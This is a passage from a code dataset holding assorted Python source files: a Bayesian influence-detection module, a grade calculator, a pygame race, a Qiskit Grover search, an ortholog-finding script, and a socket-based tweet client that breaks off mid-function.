len(temp)):\n\n if jj + i == self.__network_size - 1:\n\n current_model_code += \"0\" + temp[jj]\n\n else:\n\n current_model_code += temp[jj]\n\n # calculate the likelihood of current model\n\n model_likelihood = self.__model_likelihood(i,\n current_model_code)\n aprob_save.append(model_likelihood)\n\n self.__likelihood_history[i][j].append(model_likelihood)\n\n # update the a posterior prob and save it\n\n normal_constant = sum(aprob_save)\n\n norm_aprob_save = [x / normal_constant for x in aprob_save]\n\n for j in range(0, 2 ** (self.__network_size - 1)):\n\n self.__aprob_history[i][j].append(norm_aprob_save[j])\n\n def __model_likelihood(self, i, current_model):\n \"\"\"\n Returns the likelihood of node *i* with *current_model*.\n Args:\n i: int\n The index of the node of interest.\n current_model:\n The model that we consider.\n Returns:\n model_prob: float in [0, 1]\n The calculated likelihood of *current_model*.\n \"\"\"\n\n seq = self.__book_keeping_generic(i,\n self.__signal_history,\n current_model)\n\n alpha_est = self.__gibbs_sampling(seq)\n\n model_liklhd = self.__ys_seq_likelihood(seq, alpha_est)\n\n return model_liklhd\n\n def __book_keeping_generic(self, s_index, s_n, model):\n \"\"\"\n Return the lengths of regimes given the model.\n This can be applied to any node over the network,\n with any model that is specified in the parameter.\n [Deterministic.]\n Args:\n s_index: int\n The index of the node of interest.\n s_n: dict\n The dict of signals history of all nodes\n model: binary string\n The hypothesis model.\n The value with the node of interest is always 0.\n Returns:\n n: 1d array\n The list of length of regimes of the node\n of interest.\n \"\"\"\n\n s_obj = s_n[s_index]\n\n # obtain the index of influential nodes by the current model\n neighbor_index_from_model = [self.__network_size-i-1\n for i, letter in enumerate(model)\n if letter == \"1\"]\n\n # merge the signals from all the influencing neighbors\n # so they can be looked as the equivalent of a single node\n\n new_sequence = [0. for j in range(0, len(s_obj))]\n\n for i in neighbor_index_from_model:\n\n for j in range(0, len(s_obj)):\n\n if s_n[i][j] == 1:\n new_sequence[j] = 1\n\n book_keeping_results = self.__book_keeping_m1(new_sequence, s_obj)\n\n return book_keeping_results\n\n def __gibbs_sampling(self, n):\n\n # parameters\n b_e = 1\n a_e = 1\n\n alpha_e = 0.75\n\n for rep_alpha_index in range(0, self.__rep_alpha):\n\n # draw w_j\n # draw alpha\n\n b_draw_alpha = b_e\n\n for i in range(0, len(n)):\n\n if n[i] > 0:\n\n # YS case\n\n w = np.random.beta(a=alpha_e + 1, b=n[i], size=1)\n\n b_draw_alpha = b_draw_alpha - log(w)\n\n else:\n\n # i-YS case\n\n w = np.random.beta(a=alpha_e, b=-n[i], size=1)\n\n if w == 0:\n w = 0.0000000000001\n\n b_draw_alpha = b_draw_alpha - log(w)\n\n a_draw_alpha = a_e + len(n)\n\n alpha_e = np.random.gamma(shape=a_draw_alpha, scale=1 / b_draw_alpha)\n\n return alpha_e\n\n @staticmethod\n def __book_keeping_m1(s1, s2):\n \"\"\"\n Return the sequence of regime given M1.\n If the value in the returned list is negative, it means this regime ended\n because of a neighbor.\n Node 1 (s1) is what we want to decide if it has influence over node 2.\n Node 2 (s2) is the node of interest.\n This version is slightly different from the older version,\n in that it only append the length of the regime when it is finished.\n \"\"\"\n\n n2 = np.array([])\n\n if len(s1) == len(s2):\n\n counter = 0\n\n for i in range(0, len(s1)):\n\n if s2[i] == 0 and s1[i] == 0:\n counter += 1\n\n elif s2[i] == 1 and s1[i] == 0:\n counter += 1\n n2 = np.append(n2, counter)\n counter = 0\n\n elif s2[i] == 0 and s1[i] == 1:\n counter += 1\n n2 = np.append(n2, -counter)\n counter = 0\n\n elif s2[i] == 1 and s1[i] == 1:\n counter += 1\n n2 = np.append(n2, counter)\n counter = 0\n\n else:\n print(\"signal value is not 0 or 1.\")\n exit(-1)\n\n else:\n print(\"error!! len(s1) != len(s2)!! --function: book_keeping_m1\")\n exit(-1)\n\n return n2\n\n @staticmethod\n def __ys_seq_likelihood(n, alpha):\n \"\"\"\n Returns the likelihood of a specific sequence.\n Args:\n n: list\n The sequence.\n alpha: float in (0, 1)\n Estimated value of parameter alpha.\n Returns:\n p: float in (0, 1)\n The likelihood of sequence *n*.\n \"\"\"\n\n p = 1.\n\n for i in n:\n\n if i > 0:\n\n p *= alpha * scipy.special.beta(i, alpha + 1)\n\n else:\n\n p *= alpha * scipy.special.beta(-i, alpha)\n\n return p\n\n","sub_path":"functions/F03_IYSDetection.py","file_name":"F03_IYSDetection.py","file_ext":"py","file_size_in_byte":11080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"307396185","text":"studentsScores = []\naverages = []\n\namount_of_student = int(input(\"How many students are there? \"))\n\nfor i in range(1,amount_of_student+1):\n print(\"Student\",i)\n midterm1 = float(input(\"Enter your first midterm:\"))\n midterm2 = float(input(\"Enter your second midterm:\"))\n final = float(input(\"Enter your final score:\"))\n\n studentsScores.append([midterm1,midterm2,final])\n\nprint(studentsScores)\n\nfor i in studentsScores:\n avg = 0\n avg = avg + i[0] * 0.3\n avg = avg + i[1] * 0.3\n avg = avg + i[2] * 0.4\n averages.append([avg])\n\nprint(\"Average of students points\", averages)\n\nclevers =[]\nfor z in range(1,len(averages)+1):\n if averages[z-1][0] >= 90:\n clevers.append([\"Student\",str(z),averages[z-1]])\nprint(clevers)\n\n","sub_path":"lab6/example3.py","file_name":"example3.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"427145307","text":"import pygame, sys\nimport random\n\nclass Corredor():\n \n def __init__(self, x=0, y=0, custome='player1'):\n self.custome = pygame.image.load('img/{}.png'.format(custome))\n self.name= custome\n self.position = [x, y]\n def avanzar(self):\n self.position[0] += random.randint(1, 6)\n \nclass Game():\n \n runners = []\n __names=['Rojo', 'Verde', 'Azul', 'Amarillo']\n __posY=[99, 180, 270, 350]\n __customes=['player1','player4', 'player2','player3']\n __startLine = 15\n __finishLine = 1430\n \n def __init__(self):\n \n self.__screen = pygame.display.set_mode((1500, 480))\n self.__background = pygame.image.load('img/fondoCarrera.png')\n pygame.display.set_caption('F1 Drag-Race')\n \n for i in range (0,4):\n runner = Corredor(self.__startLine, self.__posY[i],self.__customes[i])\n runner.name = self.__names[i]\n self.runners.append(runner)\n \n def close(self):\n pygame.quit()\n sys.exit()\n \n def competir(self):\n gameOver = False\n while not gameOver:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n gameOver=True\n \n \n for runner in self.runners:\n runner.avanzar()\n if runner.position[0] >= self.__finishLine:\n ganador = ' El ganador es el coche {} '.format(runner.name)\n #print('El ganador es el coche {}'.format(runner.name))\n gameOver=True\n \n self.__screen.blit(self.__background, (0,0))\n \n for runner in self.runners:\n self.__screen.blit(runner.custome,runner.position)\n \n pygame.display.flip()\n tipoLetra = pygame.font.SysFont(\"Arial\", 30)\n textoGanador = tipoLetra.render(ganador,True, (255,255,255), (54,130,23) )\n self.__screen.blit(textoGanador,(600,20))\n pygame.display.flip()\n while True: \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.close() \n \n \n \nif __name__ == '__main__':\n \n game = Game()\n pygame.font.init()\n game.competir()\n ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"300318797","text":"\n\nfrom xai.brain.wordbase.verbs._rout import _ROUT\n\n#calss header\nclass _ROUTS(_ROUT, ):\n\tdef __init__(self,): \n\t\t_ROUT.__init__(self)\n\t\tself.name = \"ROUTS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"rout\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_routs.py","file_name":"_routs.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"557877170","text":"from django.conf.urls.defaults import *\nfrom registration.views import register\n\nfrom forms import CaptchaRegistration\n\n\nurlpatterns = patterns('',\n url(r'^register/$', register,\n {'form_class' : CaptchaRegistration,\n 'backend' : 'registration.backends.default.DefaultBackend'},\n name = 'registration.views.register'),\n (r'',include('registration.urls')),\n)\n","sub_path":"pyc/account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"278187692","text":"import testenv; testenv.configure_for_tests()\nfrom testlib import sa_unittest as unittest\n\n\ndef suite():\n modules_to_test = (\n 'dialect.access',\n 'dialect.firebird',\n 'dialect.informix',\n 'dialect.maxdb',\n 'dialect.mssql',\n 'dialect.mysql',\n 'dialect.oracle',\n 'dialect.postgres',\n 'dialect.sqlite',\n 'dialect.sybase',\n )\n alltests = unittest.TestSuite()\n for name in modules_to_test:\n mod = __import__(name)\n for token in name.split('.')[1:]:\n mod = getattr(mod, token)\n alltests.addTest(unittest.findTestCases(mod, suiteClass=None))\n return alltests\n\n\nif __name__ == '__main__':\n testenv.main(suite())\n","sub_path":"sqlalchemy60/test/dialect/alltests.py","file_name":"alltests.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"535776467","text":"#%% Imports\nimport cv2\nimport sys\nfrom random import randint\nimport cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#%% Set path of video\npath_to_video = \"/home/tdesfont/0-documents/shared_soccer/video/20123_1.mp4\"\ncapture = cv2.VideoCapture(path_to_video)\npath_to_store = './frames/'\nname_to_frames = 'frame'\n\n#%%\nframe_index = -1\nframe_count = 100000\nframe_delay = 0\nframe_period = 10\n\n#%%\ncount = 0\nwhile count < frame_count:\n frame_index += 1\n ret, frame = capture.read()\n if frame_index > frame_delay:\n if frame_index % frame_period == 0:\n count += 1\n file_name = path_to_store + name_to_frames +'_{}.jpg'.format(count)\n cv2.imwrite(file_name, frame)\ncapture.release()\n\n","sub_path":"experiments/06-perspective_grid/extract_frames.py","file_name":"extract_frames.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"212049032","text":"'''\nProblem #63 [Easy]: Given a 2D matrix of characters and a target word, write a function that returns whether the word can \nbe found in the matrix by going left-to-right, or up-to-down.\n\nFor example, given the following matrix and the target word 'FOAM', you should return true, since it's the leftmost column. \nSimilarly, given the target word 'MASS', you should return true, since it's the last row.\n\n\n[['F', 'A', 'C', 'I'],\n ['O', 'B', 'Q', 'P'],\n ['A', 'N', 'O', 'B'],\n ['M', 'A', 'S', 'S']]\n\n'''\n\n'''\nWe can improve our build_word_right and build_word_down functions a bit by just taking what we need, which is whichever is \nshorter between the length of the word and the end of the row or column.\n\nHowever, let's say our word were both really big. Another otimization is in word_search3.py.\n'''\n\ndef build_word_right(matrix, r, c, length):\n\trow_len = len(matrix[0])\n\treturn ''.join([matrix[r][i] for i in range(c, min(row_len, length))])\n\n\ndef build_word_down(matrix, r, c, length):\n\tcol_len = len(matrix)\n\treturn ''.join([matrix[i][c] for i in range(r, min(col_len, length))])\n\n\ndef word_search(matrix, word):\n\tfor r in range(len(matrix)):\n\t\tfor c in range(len(matrix[0])):\n\t\t\tword_right = build_word_right(matrix, r, c, len(word))\n\t\t\tword_down = build_word_down(matrix, r, c, len(word))\n\n\t\t\tif word in (word_right, word_down):\n\t\t\t\treturn True\n\n\treturn False\n\n\nmatrix = [['F', 'A', 'C', 'I'], ['O', 'B', 'Q', 'P'], ['A', 'N', 'O', 'B'], ['M', 'A', 'S', 'S']]\n\ntarget = 'FOAM'\nprint(\"Does the target word '{0}' exist in the matrix {1}? {2}\".format(target, matrix, word_search(matrix, target)))\n\ntarget = 'MASS'\nprint(\"Does the target word '{0}' exist in the matrix {1}? {2}\".format(target, matrix, word_search(matrix, target)))\n\ntarget = 'NOTFOUND'\nprint(\"Does the target word '{0}' exist in the matrix {1}? {2}\".format(target, matrix, word_search(matrix, target)))\n\n","sub_path":"solutions_for_coding_problems/51-75/word_search2.py","file_name":"word_search2.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"597053706","text":"#!/usr/bin/python3\n\nimport pandas as pd\nimport numpy as np\nimport requests, sys\nfrom itertools import combinations\n#import seaborn as sns\nfrom scipy import stats\nimport pickle\nfrom collections import Counter\nimport copy\nfrom scipy.stats import sem, t\nfrom scipy import mean\nimport re\nimport os\nimport gzip\n\n\n\"\"\"\nHere we create the function for checking the input parameters and saving\nthem in different variables, error if the usage is not good\n\"\"\"\n\nif len(sys.argv) == 5:\n SBH_path = sys.argv[1]\n selected_species = sys.argv[2]\n tags_file = sys.argv[3]\n out_file = sys.argv[4]\nelse:\n sys.exit(\"The usage shoud be: ./FinderBBH.py SBH_path tags_file out_file\")\n\n#VARIABLES\n#!/usr/bin/env python3\n\n#VARIABLES\nquery_species = \"\"\nBBH_dict = {}\nspecies_dfs = {}\n\n\"\"\"\nRead TAGs file foreach primate species used in the analysis\nand store it in a Pandas DataFrame\n\"\"\"\n\nSpecies_tags = pd.read_csv(tags_file, sep='\\t', low_memory=False)#panda creation\ncolnames = ['Target{}'.format(num) for num in range(1, len(Species_tags))]\nfinalnames = ['Query'] + colnames\nBBH_df = pd.DataFrame(columns=finalnames)\n\n\"\"\"\nFUNCTIONS\n\"\"\"\n\n\"\"\"\nHere, we create a function that concatenate multiple Pandas dataframes\nfor each species into an allspecies Best Hits dataframe\n\"\"\"\n\ndef concatenate_SBH_all_species_into_dict(path, all_species_dfs):\n files = os.walk(path)\n for file_in in files:\n for spc in file_in[2]:\n print(spc)\n path_to_pandas = path + spc\n all_species_dfs[spc.split(\".\")[0]] = pd.read_csv(path_to_pandas, index_col=None, sep =\"\\t\")\n return all_species_dfs\n\n\n\"\"\"\nThen we iterate each row in the SBH concatenated dataframe and keep only the\nvalues in each row that are reciprocal best hits\n\"\"\"\n\ndef create_BBHs_from_rows_in_merged_SBH_data(all_species_dfs, query_species,\nbbh_dict, bbh_df, column_names):\n for index, row in all_species_dfs[query_species].iterrows():\n bbh_dict[row['Query']] = []\n for colname in column_names:\n if isNaN(row[colname]):\n continue\n else:\n for item in Species_tags['Tag']:\n if str(row[colname]).startswith(item):\n current_species = Species_tags.loc[Species_tags['Tag'] == item].Species.item()\n target_species = all_species_dfs[current_species].loc[all_species_dfs[current_species]['Query'] == row[colname]]\n if row['Query'] in target_species.values:\n bbh_dict[row['Query']].append(row[colname])\n if not bbh_dict[row['Query']]:\n continue\n else:\n bbh_df = append_out_BBHs_pandas_format(bbh_dict, bbh_df, row['Query'])\n return bbh_df\n\n\"\"\"\nFunction to check nan values\n\"\"\"\n\ndef isNaN(string):\n return string != string\n\n\"\"\"\nFUnction to parse all BBH pairs of values and print them in the\nQuery vs multiple targets format\n\"\"\"\n\ndef append_out_BBHs_pandas_format(bbh_dict, bbh_df, key):\n query_row = [key] + bbh_dict[key] + \\\n list(np.repeat(np.nan, len(bbh_df.columns)-len(bbh_dict[key])-1))\n bbh_df = bbh_df.append(pd.Series(query_row, index=bbh_df.columns),\n ignore_index=True)\n return bbh_df\n\n#MAIN\n\nspecies_dfs = concatenate_SBH_all_species_into_dict(SBH_path, species_dfs)\n\nBBH_df = create_BBHs_from_rows_in_merged_SBH_data(species_dfs, selected_species,\nBBH_dict, BBH_df, colnames)\n\nBBH_df.to_csv(out_file, sep = \"\\t\", index=False)\n","sub_path":"Orthologies_human_driven_refs/BlastP/BBHs/FinderBBH.py","file_name":"FinderBBH.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"634119756","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport math\n# importing Qiskit\nfrom qiskit import IBMQ, Aer, assemble, transpile\nfrom qiskit import QuantumCircuit, ClassicalRegister, QuantumRegister\nfrom qiskit.providers.ibmq import least_busy\nfrom qiskit.visualization import plot_histogram\nfrom qiskit.utils import QuantumInstance\nfrom qiskit.algorithms import Grover, AmplificationProblem\nfrom qiskit.circuit.library import PhaseOracle, GroverOperator\nfrom qiskit.quantum_info import DensityMatrix, Operator, Statevector\n# import basic plot tools\nimport os\nfrom functions_qosf import solution_states, init_vector\n\narray_i = [1, 5, 7, 10] #input array; accept input, or create a random array - consult qosf doc\nprint(array_i)\nL=len(array_i)\t\t#length of input array\nhighest = max(array_i)\t\n#print(highest)\n#l = math.ceil(math.log(highest,2))\nl_b = bin(highest)[2:]\nl = len(l_b)\nprint(l)\nbL_b = bin(len(array_i)-1)[2:]\nbL = len(bL_b)\t\n#print(bL)\nN = 2**l\nM = 2**(l+bL)\n#----------------create circuit-----------------------------------------\n\n#address_bits = QuantumRegister(bL, name='a')\nvalue_bits = QuantumRegister(l+bL, name='v')\n#phase_bit = QuantumRegister(1, name='p')\ngrover_circuit = QuantumCircuit(value_bits)\n\n\n#-------------------initialise qubits-----------------------------------\n\ndef init_vector(array_i, M):\t\t\t\t#initialisation vector\n\tnorm = 0\n\tinit_vec = [0]*M\n\tfor i in range(len(array_i)):\n\t\tindex_bits = bin(i)[2:].zfill(bL)\n\t\tdata_bits = bin(array_i[i])[2:].zfill(l)\n\t\tindex = int((index_bits+data_bits),2)\n\t\tinit_vec[index] = 1\n\tfor i in init_vec:\n\t\tnorm = norm + i\n\tfor i in range(len(init_vec)):\n\t\tinit_vec[i] = init_vec[i]/np.sqrt(norm)\n\treturn init_vec\ninit_vec = init_vector(array_i, M)\t\t\t\n#print(init_vec)\n\ngrover_circuit.initialize(init_vec, value_bits)\t#initialise value bits\n\n\n\n#--------------------create solution states from function--------------------------\n\nsolution_states = solution_states(l)\t\t#solution states (2 bitstrings of alternating bits) for the length l\n\n\n#----------------------create phase oracle----------------------------------------\nq = QuantumRegister(l,'q')\nqc = QuantumCircuit(q)\n#for i in range(0, l-2, 2):\t\n#\tqc.x(i)\n\nqc.cz(0, 2)\nqc.cz(1, 3)\n#add more gates\n\noracle = qc.to_gate()\noracle.name = \"U$_\\omega$\"\n#print(oracle.draw())\n\ngrover_circuit.append(oracle, value_bits[:l])\n\n\n#---------------------diffuser----------------------------\n#Diffuser code from qiskit documentation\ndef diffuser(nqubits):\n \n qc = QuantumCircuit(nqubits)\n # Apply transformation |s> -> |00..0> (H-gates)\n for qubit in range(nqubits):\n qc.h(qubit)\n # Apply transformation |00..0> -> |11..1> (X-gates)\n for qubit in range(nqubits):\n qc.x(qubit)\n # Do multi-controlled-Z gate\n qc.h(nqubits-1)\n qc.mct(list(range(nqubits-1)), nqubits-1) # multi-controlled-toffoli\n qc.h(nqubits-1)\n # Apply transformation |11..1> -> |00..0>\n for qubit in range(nqubits):\n qc.x(qubit)\n # Apply transformation |00..0> -> |s>\n for qubit in range(nqubits):\n qc.h(qubit)\n# print(qc.draw())\n # We will return the diffuser as a gate\n U_s = qc.to_gate()\n U_s.name = \"U_s\"\n return U_s\n\ngrover_circuit.append(diffuser(l+bL), value_bits)\n\ngrover_circuit.measure_all()\t#measure all qubits\n\nprint(grover_circuit.draw(output='text'))\t#print the circuit\n\n\n\n#----------------------------------simulate the circuit------------------------------\nsim = Aer.get_backend('aer_simulator')\t\t#simulator\nstate_vec=grover_circuit.save_statevector()\nt_qc = transpile(grover_circuit, sim)\t\nnshots = 4096\ncounts = sim.run(t_qc, shots=nshots).result().get_counts()\n#print(state_vec)\n\n#-----------------get the location of the solution states------------------------------\n#for one solution state\n#sol_state_count = max(counts.values())\n#counts_values = list(counts.values())\n#sol_state_index = counts_values.index(sol_state_count)\n#counts_keys = list(counts.keys())\n#sol_state = counts_keys[sol_state_index]\n#print(sol_state)\n#print(counts)\n#def output_vector(counts_keys, sol_state, array_i):\n#\tout_vec = []\n#\tind=0\n#\tfor i in counts_keys:\n#\t\tif i == sol_state:\n#\t\t\tind = array_i.index(int(i[l-1:],2))\n#\t\t\tout_vec.append(bin(ind)[2:]) \n#\tprint(ind)\n#\treturn out_vec\n#out_vec = output_vector(counts_keys, sol_state, array_i)\n\n#print(array_i)\n#print(sol_state)\n\n#print(out_vec)\n\n#def superpose(out_vec):\t\n#\toutput = ''\t\t\n#\tfor i in out_vec:\n#\t\toutput += '|'+ i + '/' + 'sqrt({})'.format(len(out_vec)) + '> '\t\t\n#\treturn output\n\t\n#output = superpose(out_vec)\n#print(output)\n\n\nplot_histogram(counts)\nplt.show()\n\n\n\n","sub_path":"grover_circuit.py","file_name":"grover_circuit.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"135707893","text":"import pickle\nimport socket\nimport sys\nimport shlex\nimport re\nimport _thread\nimport threading\n# Variable to hold the size of the receive buffer\nBUFFER_SIZE = 100000\n# Global Variable that will hold the client's username\nusername = ''\n# Global Variable that will hold the number of active subscriptions that the user has\nsubscribe_count = 0\n# List of the hashtag the user is subbed to\ntag_subscriptions = []\n# List of the tweets that are to be displayed the next time the client calls the timeline command\ntimeline_tweets = []\n# Queue for receiving a subscription validation message from the server used in subscribe()\nsub_queue = []\n# Queue for receiving a unsubscription validation message from the server used in unsubscribe()\nunsub_queue = []\n\n\nrecv_lock = _thread.allocate_lock()\nlock = threading.Lock()\n\n# Initialize a dictionary standard for client and server to communicate, initially all key values are empty\ndict_msg = {'command' : '', 'hashtag' : '', 'tweet' : '', 'username' : ''}\n\n\"\"\"\nThis method is to display an error message on the terminal\nthe message will also provide the suggestted fixes for the client side request\n\"\"\"\ndef err_msg():\n print('ERROR: It seems the inputted command does not fit the correct format please refer the the messaages below as to how to structure the command.')\n print('')\n print('How to upload message to server: ./ttweetcl ')\n #print('\\\"message\\\" input the message with quotes and there is a character limit of 150 also if you don\\'t want to send any message include open and closed quotes ')\n print('')\n\n\"\"\" \n@preliminary_validation_setup: helper method that erforms a check on the arguments passed by the client, and then sets up the connection\n\n@argv: argument passed in from the terminal\n\"\"\"\ndef preliminary_validation_setup(argv):\n # if the username is not alphanumerics, exit gracefully, otherwise setup connection\n if not argv[3].isalnum():\n print(argv)\n err_msg()\n exit(0)\n # the ServerIP is parsed from argv\n server_ip = argv[1]\n # the ServerPort is parsed from argv\n server_port = int(argv[2])\n # Now to set up the TCP socket\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # set a timeout if socket can not connect after 15 seconds\n #sock.settimeout(15)\n print(\"Attempting to connect to server\")\n # attempting connect with the server and the port\n sock.connect((server_ip, server_port))\n # validate uniqueness of username \n validate_username(sock, argv)\n # return the sock for further usage\n return sock\n\n\"\"\" \n@validate_username: Validates the uniqueness of the username by checking with the Server to see if the Username is already taken\n\n@sock: this client's socket that it will use to send to and recieve information from the server with\n@argv: the argument that was passed into terminal when the client was instatiated\n\"\"\"\ndef validate_username(sock, argv):\n print(\"\\nValidating Username for uniqueness on Server\")\n # create a dict with the command: check_username, and the user's username\n dict_check = {'command' : 'check_username', 'username': argv[3]}\n # encode the message dict with pickle\n check_data = pickle.dumps(dict_check)\n # send the encodeded message data to the server\n sock.sendall(check_data)\n # get the confirmation from the server that the message was recieved\n response = sock.recv(BUFFER_SIZE)\n # unserialize the response\n server_response = pickle.loads(response)\n # server sends a dict like: response = {'unique': False}\n # check if server returns true for unique username\n if server_response['unique'] is True:\n print(\"\\nusername is unique!\\n\")\n # if the user name is unique then set the username variable to the inputted username\n global username\n username = argv[3]\n else:\n # if the the username was not valid or if the server is already full display an error message telling the client how to proceed and close the connection\n print(\"\\nERROR: username is NOT unique, or the server is full, retry entering the server with a new username or try again later\")\n exit(0)\n\n\"\"\" \n@main: this is the main method for the client, this method is invoked when the client is instantiated and will try and connect to the server.\n\n@argv: the argument that was passed in at the terminal when the client was instantiated\n\"\"\"\ndef main(argv):\n # if the inputted command does not have the appropriate number of arguements (4 arguments) an error message will be displayed explaining how to use the command\n if not len(argv) == 4:\n print(argv)\n err_msg()\n exit(0)\n # validate arguments (and username), and retrieve the connection socket object\n sock = preliminary_validation_setup(argv)\n # create a new thread to allow the client to listen for messages from the server \n _thread.start_new_thread(receive_tweets, (sock,))\n # run indefinetely until client exits\n while (1):\n # retrieve command args\n command = input('Enter Command: ')\n # split command arguments by whitespace while perserving substrings whitespaces\n command_args = shlex.split(command)\n # after the argument is parsed, determine which command is inputted at the terminal\n if len(command_args) == 3 and command_args[0] == \"tweet\":\n tweet_cli(sock, command_args)\n elif len(command_args) == 2 and command_args[0] == \"subscribe\":\n subscribe_cli(sock, command_args)\n elif len(command_args) == 2 and command_args[0] == \"unsubscribe\":\n unsubscribe_cli(sock, command_args)\n elif len(command_args) == 1 and command_args[0] == \"timeline\":\n timeline_cli(sock)\n elif len(command_args) == 1 and command_args[0] == \"exit\":\n exit_cli(sock)\n else:\n # if an invalid command is inputted send an error message that tells the client how to proceed\n print(\"Error: Command not recognized. Available Commands:\")\n print('tweet \"<150 char max tweet>\" ')\n print('subscribe ')\n print('unsubscribe ')\n print('timeline')\n print('exit')\n sock.close()\n exit(0)\n\n\"\"\" \n@receive_tweets: helper method that allows the client recieve messages/tweets from the server\n\n@sock: the client's socket that it will be listening with\n\"\"\"\ndef receive_tweets(sock):\n global timeline_tweets\n global unsub_queue\n global sub_queue\n\n while True:\n # store the encoded message receieved from the server in a variable\n encodedMessage = sock.recv(BUFFER_SIZE)\n #print('\\nrecieved a message from server.')\n # decode the encoded message from the server\n decodedMessage = pickle.loads(encodedMessage)\n # determine the command that was sent from the server to determine how the client needs to manipulate its various data structures\n if decodedMessage['command'] == 'subscribe':\n sub_queue.append(decodedMessage)\n #print(\"got subscribe message from server, storing in queue.\")\n elif decodedMessage['command'] == 'unsubscribe':\n unsub_queue.append(decodedMessage)\n #print(\"got unsubscribe message from server, storing in queue.\")\n elif decodedMessage['command'] == 'tweet':\n timeline_tweets.append(decodedMessage)\n #print(\"got tweet message from server, storing in timeline.\")\n\"\"\" \n@tweet_cli: helper method to help the client send out tweets to the server as well as validate whether the tweet is valid\n\n@sock: the client's socket that it will use to send and recieve message to and from the server\n@command_args: argument that is passed in from the terminal\n\"\"\"\ndef tweet_cli(sock, command_args):\n tweet = command_args[1]\n print(\"tweet: \" + tweet + \" with length \" + str(len(tweet)))\n # validate tweet message length\n if len(tweet) < 1:\n print(\"ERROR: tweet is less than 1 character.\")\n return\n if len(tweet) > 150:\n print('ERROR: tweet is longer than 150 characters.')\n return\n # validate hashtag(s) syntax and return hashtags as a list if more than 1\n hashtag_list = validate_listify_hashtag(command_args[2])\n # validate that there is a valid number of hashtags in the tweet\n if len(hashtag_list) == 0:\n print(\"Error: invalid hashtags provided\")\n return\n if len(hashtag_list) > 8:\n print(\"Error: Too many Hashtags, max limit: 8\")\n return\n # check that all the Tags are within the character limit\n for h in hashtag_list:\n if len(h) > 25:\n print(\"Error: \" + h + \" is too long to be a hashtag\")\n return\n # constuct the dict containing the tweet that will be sent to the server\n dict_msg['command'] = 'tweet'\n dict_msg['hashtag'] = hashtag_list\n dict_msg['tweet'] = tweet\n # tell python that username reference is to the global username var\n global username\n dict_msg['username'] = username\n # encode the message dict with pickle\n data_tweet = pickle.dumps(dict_msg)\n # send the encodeded message data to the server\n sock.sendall(data_tweet)\n print('Tweet was sent to the server')\n return \n\n\"\"\" \n@subscribe_cli: helper method to handle a subscribe command from the user\n\n@sock: the client's socket that it will use to send and recieve messages to and from the server\n@command_args: the argument that was passed in from the terminal\n\"\"\"\ndef subscribe_cli(sock, command_args):\n # tell python that 'subscribe_count' and 'tag_sub' vars used in this scope is reffering to global\n global subscribe_count\n global tag_subscriptions\n global username\n global sub_queue\n # validate hashtag using helper method\n hashtag = command_args[1]\n tag_list = validate_listify_hashtag(hashtag)\n # perform checks - only one hashtag should exist\n if not len(tag_list) == 1:\n print(\"Only one hashtag can be provided bro\")\n return\n if len(tag_list[0]) > 25:\n print(\"Hashtags are limited to 25 characters\")\n return\n # check if #ALL hashtag is passed\n if not subscribe_count + 1 > 3:\n # create the base dict that will hold the subscribe command, the hashtag that is being subbed to, and the user's username.\n dict_sub = {'command' : 'subscribe', 'hashtag': tag_list[0], 'username' : username}\n # encode the message dict with pickle\n data_sub = pickle.dumps(dict_sub)\n # send the encodeded message data to the server\n sock.sendall(data_sub)\n print(\"The subscription request was sent to the server\")\n # get the confirmation from the server that the message was recieved\n print('waiting for response from server for the subscription..')\n while len(sub_queue) < 1:\n pass\n print(\"Received a response from the server\")\n # grab the servers response from and store it into the queue\n server_response = sub_queue[0]\n sub_queue = []\n # check the response from the server and see if the subscription was accepted or not\n if server_response['validation'] == 'too_many_sub':\n print(\"ERROR: More than 3 hashtag subscriptions not allowed.\")\n elif server_response['validation'] == 'already_subbed':\n print(\"ERROR: Already subscribed to the hashtag.\")\n elif server_response['validation'] == 'subscribed':\n print('SUCCESS: Subscribed to the hashtag ' + hashtag)\n tag_subscriptions.append(tag_list[0])\n subscribe_count += 1\n print('You are currently subscribed to: ' + str(subscribe_count) + \" hashtags\")\n print('Here are the hashtags you are currently subscribed to: ' + str(tag_subscriptions))\n else:\n print(\"ERROR: Can not have more than 3 hashtag subscriptions, please remove a hashtag subscription from this list by doing 'unsubscribe :' \" + str(tag_subscriptions))\n return\n\n\"\"\" \n@unsubscribe_cli: helper method to handle an unsubscribe command from the user\n\n@sock: the client's socket that it will use to send and recieve messages to and from the server\n@command_args: the argument that was passed in from the terminal\n\"\"\"\ndef unsubscribe_cli(sock, command_args):\n # tell python that 'subscribe_count' and 'tag_sub' vars used in this scope is reffering to global\n global subscribe_count\n global tag_subscriptions\n global username\n global unsub_queue\n # validate hashtag using helper method\n hashtag = command_args[1]\n tag_list = validate_listify_hashtag(hashtag)\n # perform checks 